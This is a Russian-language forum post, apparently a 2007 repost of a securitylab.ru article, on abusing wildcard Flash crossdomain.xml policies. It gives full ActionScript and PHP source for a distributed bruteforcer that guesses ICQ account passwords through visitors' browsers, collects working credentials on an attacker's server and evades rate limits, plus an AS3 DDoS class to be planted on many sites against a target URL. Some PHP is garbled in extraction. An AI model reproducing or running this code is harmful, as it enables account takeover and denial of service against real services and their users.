ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Чужие Статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #4  
Старый 07.09.2007, 15:25
Alexsize
Fail
Регистрация: 17.09.2005
Сообщений: 2,242
Провел на форуме:
9089375

Репутация: 4268


По умолчанию

Пример распределенного перебора паролей (icq.com)

Рассмотрим распределенный перебор паролей на основе CDDAF на примере icq.com. Как я уже отмечал ранее, на сервере может присутствовать необходимый нам файл сертификата, причем неправильно настроенный (domain="*"). Яркий пример - icq.com (http://icq.com/crossdomain.xml).

Можно написать icq bruteforcer на основе сервиса ICQ2Go: клиентскую часть на AS1/2, серверную на PHP. В данном случае распределенный перебор паролей будет очень похож на сеть распределенного вычисления: клиент будет получать от сервера задание (пары uin-password), проверять их, отправлять результат серверу. Сервер будет выдавать клиентам задания (если клиент не посылает результат проверки в течение некоторого времени (clientTimeout), сервер отдаст это задание другому клиенту), записывать результаты, текущие параметры процесса перебора.

Скорость перебора будет зависить от числа клиентов (например, если разместить клиент на нескольких сайтах, то чем больше их суммарный online, тем выше скорость). Сразу отмечу, что после нескольких неудачных попыток аутентификации сервер icq блокирует клиента на некоторое время, поэтому для приемлемой скорости перебора необходим большой online (также необходимо правильно настроить таймауты в клиентской части).

В коде клиента я оставил информационные сообщения, их можно убрать (удалить строки вида st.text = "text"

Клиент


Цитата:
/*

Client for cIcqBrute by Cenarius

Email: ooohoow@gmail.com | Icq: 100732

Version: 0.2

*/

// -----------------------------------

// Config

// -----------------------------------

// Url of server, which sends tasks / receives reports

var serverUrl:String = 'http://localhost/cIcqBrute.php';

// Url of preferences for icq client

var preferencesUrl:String = 'http://download.icq.com/icq2go/flicq_preferences.xml';

// Hello server's path

var helloPath:String = '/hello';

// Data server's path

var dataPath:String = '/data';

// Number of combo for checking per one session

var comboPerSession:Number = 2;

// Freeze interval for hello tryes (seconds)

var globalFreezeTime:Number = 30;

// Timeout for each server (seconds)

var freezeInterval:Number = 60;

// Time in which preferences will be updated (hours)

var preferencesUpdateTime:Number = 24;

var transactionNumber:Number = 1000;

// -----------------------------------

// -----------------------------------

this.createTextField("st",1,20,50,500,500);

var preferences:SharedObject = SharedObject.getLocal("Preferences");

if(!preferences.data.checkedCombo) {

preferences.data.checkedCombo = 0; }

// Checking if freeze set

if(preferences.data.globalFreeze && preferences.data.globalFreeze >= new Date().valueOf()) {

st.text = "Freeze!\n";

var tmId = setInterval(

function() {

if(preferences.data.globalFreeze <= new Date().valueOf()) {

clearInterval(tmId);

checkCombo(); }

},

1000);

} else {

checkCombo(); }

function checkCombo():Void {

var preferences:SharedObject = SharedObject.getLocal("Preferences");

if(preferences.data.comboExpires * 1000 < new Date().valueOf() or !getCurrentCombo()) {

var report:String = "id=";

if(preferences.data.comboExpires) {

report += preferences.data.comboExpires; }

var goodCombo:SharedObject = SharedObject.getLocal("Good");

report += "&good=";

for(var uin in goodCombo.data) {

report += uin + ':' + goodCombo.data[uin] + chr(182); }

st.text = "\n\t\t\t/* cIcqBruteforcer by Cenarius */\n\t\t\t\t\tversion 0.2\n\n";

st.text += "Sending good & getting new combo...\t";

// Sending good combo and loading new task

System.security.loadPolicyFile(serverUrl);

serverRequest(serverUrl, report, 'POST', onComboLoaded);

}

else {

st.text += "\n";

// Checking next combo

getCurrentCombo();

checkPreferences(); }

}

// Sets next combo and returns true

// Returns false if no combo remains

function getCurrentCombo():Boolean {

var combo:SharedObject = SharedObject.getLocal("Combo");

for(var uin in combo.data) {

if(combo.data[uin] != false) {

_global.currentUin = uin;

_global.currentPass = combo.data[uin];

return(true);

}

}

return(false);

}

function checkPreferences():Void {

var preferences:SharedObject = SharedObject.getLocal("Preferences");

if(!preferences.data.helloServer or preferences.data.preferencesExpires < new Date().valueOf()) {

getPreferences(preferencesUrl); }

else {

// Sending Hello

st.text += "Sending hello...\t";

serverRequest(

preferences.data.helloServer + helloPath,

'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500',

'GET',

onHelloDone);

}

}

function getPreferences(preferencesUrl:String):Void {

st.text += "Getting new preferences...\t";

var preferencesXML:XML = new XML();

preferencesXML.ignoreWhite = true;

preferencesXML.load(preferencesUrl);

preferencesXML.onLoad = function(success:Boolean) {

if(success) {

st.text += "done\n";

xmlParse("server_url", preferencesXML);

xmlParse("version", preferencesXML);

if(server_url) {

var preferences:SharedObject = SharedObject.getLocal("Preferences");

preferences.data.preferncesExpires = new Date().valueOf() + preferencesUpdateTime*60*60*1000;

preferences.data.helloServer = server_url;

preferences.data.clientVersion = version;

// Sending Hello

st.text += "Sending hello...\t";

serverRequest(

preferences.data.helloServer + helloPath,

'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500',

'GET',

onHelloDone);

}

else {

// No such node

}

}

else {

// Load error

}

}

}

// -----------------------------------

// OnLoad Functions

// -----------------------------------

function onComboLoaded(success:Boolean):Void {

if(success) {

st.text += "done\n";

var combo:SharedObject = SharedObject.getLocal("Combo");

var goodCombo:SharedObject = SharedObject.getLocal("Good");

var preferences:SharedObject = SharedObject.getLocal("Preferences");

combo.clear();

goodCombo.clear();

preferences.data.comboExpires = this.expires;

var comboArray = this.cmb.split(chr(182));

for(var uin in comboArray) {

combo.data[comboArray[uin].split(':')[0]] = comboArray[uin].split(':')[1];

}

getCurrentCombo();

checkPreferences();

} else {

// Making next try in 2 seconds

delay(checkCombo, 2000);

}

}

function onHelloDone(success:Boolean):Void {

if(success) {

st.text += "done\n";

st.text += "Data server: " + this.server + " [" + this.session + "]\n";

var servers:SharedObject = SharedObject.getLocal("Servers");

if(!checkExistence(this.server, "Servers") or servers.data[this.server].freezeTime <= new Date().valueOf()) {

var preferences:SharedObject = SharedObject.getLocal("Preferences");

preferences.data.currentDataServer = this.server;

servers.data[preferences.data.currentDataServer] = new Object();

servers.data[preferences.data.currentDataServer].session = this.session;

st.text += "Sending login request...\t";

// Login try

serverRequest(

'http://' + this.server + dataPath,

'session=' + this.session + '&isicqemail=0&pass=' + encrypt(currentPass) + '&enc=1&stat=0&sn=' + currentUin + '&trans=' + getNextTransNum() + '&event=2000',

'GET',

onLoginTry);

} else {

var preferences:SharedObject = SharedObject.getLocal("Preferences");

preferences.data.globalFreeze = new Date().valueOf() + globalFreezeTime * 1000;

st.text += "Delay " + globalFreezeTime + " 000 milliseconds\n";

delay(

function() {

// Sending Hello

st.text += "Sending hello...\t";

serverRequest(

preferences.data.helloServer + helloPath,

'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500',

'GET',

onHelloDone);

}, globalFreezeTime * 1000);

}

} else {

checkCombo();

}

}

function onLoginTry(success:Boolean):Void {

if(success) {

var combo:SharedObject = SharedObject.getLocal("Combo");

var preferences:SharedObject = SharedObject.getLocal("Preferences");

var servers:SharedObject = SharedObject.getLocal("Servers");

st.text += "done [" + this.code + "]\n";

if(this.code == 1020) {

// Bad password

st.text += 'Bad: ' + currentUin + ":" + currentPass + "\n";

combo.data[currentUin] = false;

preferences.data.checkedCombo++;

}

else if(this.event == 2010) {

// Good password

st.text += 'Good: ' + currentUin + ":" + currentPass + "\n";

var goodCombo:SharedObject = SharedObject.getLocal("Good");

goodCombo.data[currentUin] = currentPass;

combo.data[currentUin] = false;

preferences.data.checkedCombo++;

}

if(preferences.data.checkedCombo >= comboPerSession or this.code == 1100) {

// Rate limit

servers.data[preferences.data.currentDataServer].freezeTime = new Date().valueOf() + freezeInterval * 1000;

preferences.data.checkedCombo = 0;

st.text += "Freezing: " + preferences.data.currentDataServer + " [" + servers.data[preferences.data.currentDataServer].freezeTime + "]\n";

if(getCurrentCombo()) {

st.text += "Getting next session\n";

// Sending Hello

st.text += "Sending hello...\t";

serverRequest(

preferences.data.helloServer + helloPath,

'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500',

'GET',

onHelloDone);

} else {

checkCombo();

}

}

else {

if(getCurrentCombo()) {

// Login try

st.text += "Sending login request...\t";

serverRequest(

'http://' + preferences.data.currentDataServer + dataPath,

'session=' + servers.data[preferences.data.currentDataServer].session + '&isicqemail=0&pass=' + encrypt(currentPass) + '&enc=1&stat=0&sn=' + currentUin + '&trans=' + getNextTransNum() + '&event=2000',

'GET',

onLoginTry); }

else {

checkCombo();

}

}

} else {

checkCombo();

}

}

// -----------------------------------

// Auxiliary functions

// -----------------------------------

function serverRequest(

requestUrl:String, vars:String, method:String, onLoadFunc:Function):Void {

var sender:LoadVars = new LoadVars();

var loader:LoadVars = new LoadVars();

sender.decode(vars);

loader.onLoad = onLoadFunc;

sender.sendAndLoad(requestUrl, loader, method);

}

function checkExistence(server:String, soName:String):Boolean {

var _so:SharedObject = SharedObject.getLocal(soName);

for(var s:String in _so.data) {

if(s == server) {

return(true); }

}

return(false);

}

// Delay: starts func:Function in interval:Number milliseconds

function delay(func:Function, interval:Number) {

if(timeId) { clearInterval(timeId); timeId = false; func(); }

else { timeId = setInterval(delay, interval, func); }

}

// Parses dataNode:XMLNode, if founds nodeName:String

// initializes _global[nodeName_str] with value of node nodeName

function xmlParse(nodeName:String, dataNode:XMLNode) {

for (var node:XMLNode = dataNode.firstChild; node != null; node = node.nextSibling) {

if(node.nodeType == 1) {

if(node.nodeName == nodeName) {

_global[nodeName] = node.firstChild.toString(); }

if(node.hasChildNodes()) {

xmlParse(nodeName, node); }

}

}

}

// Returns next transaction number

function getNextTransNum():Number {

if(transactionNumber > 99999) {

transactionNumber = 1000; }

return(transactionNumber++);

}

// Encrypts string:String, returns encrypted string

function encrypt(string:String):String {

var encData:String = "";

for(var i = 0; i <= string.length - 1; i++) {

var firstChar = (string.charCodeAt(i) & 240) >> 4;

var secondChar = string.charCodeAt(i) & 15;

encData += String.fromCharCode(firstChar + 65) + String.fromCharCode(secondChar + 65);

}

return(encData);

}

// EOF
Сервер на PHP:

PHP код:
<?php
/*

Server for cIcqBrute by Cenarius

Email: ooohoow@gmail.com | Icq: 100732

Version: 0.1

*/

// --------------------------------

// Config

// --------------------------------

$comboFile 'cmb.txt'// File with combo (uin:password)

$goodFile 'good.txt'// File for dumping good combo

$tmpFile 'combo_tmp.txt'// File for writing temporary info of bruteforcing process

$comboPerClient 2// Number of combo in one client's task

$clientTimeout 300// Client timeout (seconds)

// --------------------------------

set_time_limit(0);

error_reporting(E_ALL E_NOTICE);

if(!isset(
$_POST['id']) or !isset($_POST['good'])) {

echo 
'<?xml version="1.0"?><cross-domain-policy><allow-access-from domain="*" secure="false" /></cross-domain-policy>'."\";

exit();

}

if(
$_POST['id']) {

$tmpContent = file($tmpFile);

$clientCombo = parseTmp($tmpContent);

$comboOffset = trim($tmpContent[0]);

$clientCombo[(int)$_POST['id']] = 'del';

updateTmp(
$clientCombo$comboOffset);

}

if(
$_POST['good']) {

$gHandle = fopen($goodFile, "a");

fwrite(
$gHandle, implode("\n", explode(chr(182), stripslashes($_POST['good']))));

fclose(
$gHandle);

}

if(!file_exists(
$comboFile) || !is_readable($comboFile)) {

exit("
Errorcan't open/read <b>$comboFile</b>"); }

if(!file_exists($tmpFile) || filesize($tmpFile) == 0) {

$comboOffset = 0; }

else {

$tmpContent = file($tmpFile);

$clientCombo = parseTmp($tmpContent);

$comboOffset = trim($tmpContent[0]);

if($clientCombo) {

foreach(array_keys($clientCombo) as $liveTime) {

if(time() > $liveTime) {

list($offset, $amount) = split('
:', $clientCombo[$liveTime]);

sliceCombo($offset, $amount);

$clientCombo[$liveTime] = '
del';

$id = time() + $clientTimeout;

echo '
&expires=' . $id . "\";

$clientCombo[$id] = $offset . '
:' . $amount;

updateTmp($clientCombo, $comboOffset);

exit();

}

}

}

}

$newOffset = sliceCombo($comboOffset, $comboPerClient);

$id = time() + $clientTimeout;

echo '
&expires=' . $id . "\";

$clientCombo[$id] = $comboOffset . '
:' . $comboPerClient;

updateTmp($clientCombo, $newOffset);

function parseTmp($tmpContent) {

$comboOffset = trim(array_shift($tmpContent));

if(!$comboOffset) {

exit(" - Error: wrong tmp file: <b>$tmpFile</b><br> Repair or delete it"); }

foreach($tmpContent as $str) {

if(preg_match("/(\d+)\t(\d+:\d+)\n/", $str, $matches)) {

$clientCombo[$matches[1]] = $matches[2];

}

}

return $clientCombo;

}

function sliceCombo($offset, $amount) {

global $comboFile;

$handle = fopen($comboFile, "r") or exit();

if(fseek($handle, $offset) == -1) {

exit(); }

$answer = '
cmb=';

for($i = 1; $i <= $amount; $i++) {

$answer .= trim(fgets($handle)) . chr(182); }

$answer = preg_replace("/".chr(182)."$/", "", $answer);

echo $answer;

$newOffset = ftell($handle);

fclose($handle);

return $newOffset;

}

function updateTmp($data, $mainOffset) {

global $tmpFile;

$tmpHandle = fopen($tmpFile, "w");

fwrite($tmpHandle, $mainOffset . "\n");

foreach(array_keys($data) as $liveTime) {

if($data[$liveTime] != '
del') {

fwrite($tmpHandle, $liveTime . "\t" . $data[$liveTime] . "\n");

}

}

fclose($tmpHandle);

}
?>
Пример DDoS

Приведу простейший пример реализации DDoS на AS3. Клиент будет в некоторое количество потоков посылать серверу запрос и разрывать соединение. Для этого я написал класс на основе URLLoader [DDoS.as]:

Цитата:
package {

import flash.net.*;

import flash.events.*;

public class DDoS {

private var targetUrl:String;

private var method:String;

private var vars:String;

// Constructor

public function DDoS(

targetUrl:String, method:String = 'GET', vars:String = null):void {

this.targetUrl = targetUrl;

this.method = method;

this.vars = vars;

}

// Starts DDoS

public function init():void{

var request:URLRequest = new URLRequest(targetUrl);

request.method = method;

if(vars) { request.data = vars; }

var loader:URLLoader = new URLLoader();

loader.addEventListener(Event.OPEN, function() { loader.close(); init(); } );

try {

loader.load(request);

} catch (error:Error) { init(); }

}

}

}
Пример использования:

Цитата:
// Config

const policyFile = "http://site.com/cross.xml";

const threadsNumber = 15;

flash.system.Security.loadPolicyFile(policyFile);

var ddosDoS = new DDoS('http://site.com/search.php', 'POST', 'a=b&c=d');

for(var i:Number = 1; i <= threadsNumber; i++) {

ddos.init();

}
Полученный клип можно расположить на множестве сайтов: чем больше суммарный online, тем больше шансов на успех.

Трудности при написании exploits

При написании эксплоитов для описанной уязвимости важно стремиться к максимальной универсальности, кросс-браузерности. При этом и возникают проблемы из-за того, что клиенты используют разные браузеры, разные версии Flash Player. Часто приходится использовать регулярные выражения, однако поддержка RegExp появилась только с Flash Player 9. Использовать RegExp в предыдущей версии плеера можно посредством вызова Javascript (класс ExternalInterface). Таким образом, если при написании exploit необходимо использовать регулярные выражения, есть два выхода:

> Использовать RegExp Javascript'a через класс ExternalInterface:

+ Работа в Flash Player 8+

- Необходимость поддержки браузером клиента Javascript

> Использовать RegExp в ActionScript 3:

+ Не требуется поддержка Javascript

- Работа только в Flash Player 9+

Примеры использования обоих методов были приведены разделе о практическом применении уязвимости.


Заключение

На мой взгляд, в настоящее время хакеры для своих целей в основном используют Javascript, однако возможности Flash намного его превосходят(особенно с появлением ActionScript 3) Надеюсь, данная статья это продемонстрировала. Были рассмотрены наиболее общие способы применения уязвимости, однако только ими ее использование не ограничивается.

Скачать исходные коды скриптов

Статья взята с сайта www.securitylab.ru
Author: Cenarius
Email: ooohoow@gmail.com Icq: 100732
Date: 26 July 2007
__________________
...

Последний раз редактировалось Alexsize; 07.09.2007 в 15:34..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Bypassing JavaScript Filters the Flash! Attack k00p3r Чужие Статьи 0 12.07.2005 16:11
Cross Site Scripting FAQ k00p3r Уязвимости 6 12.06.2005 16:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ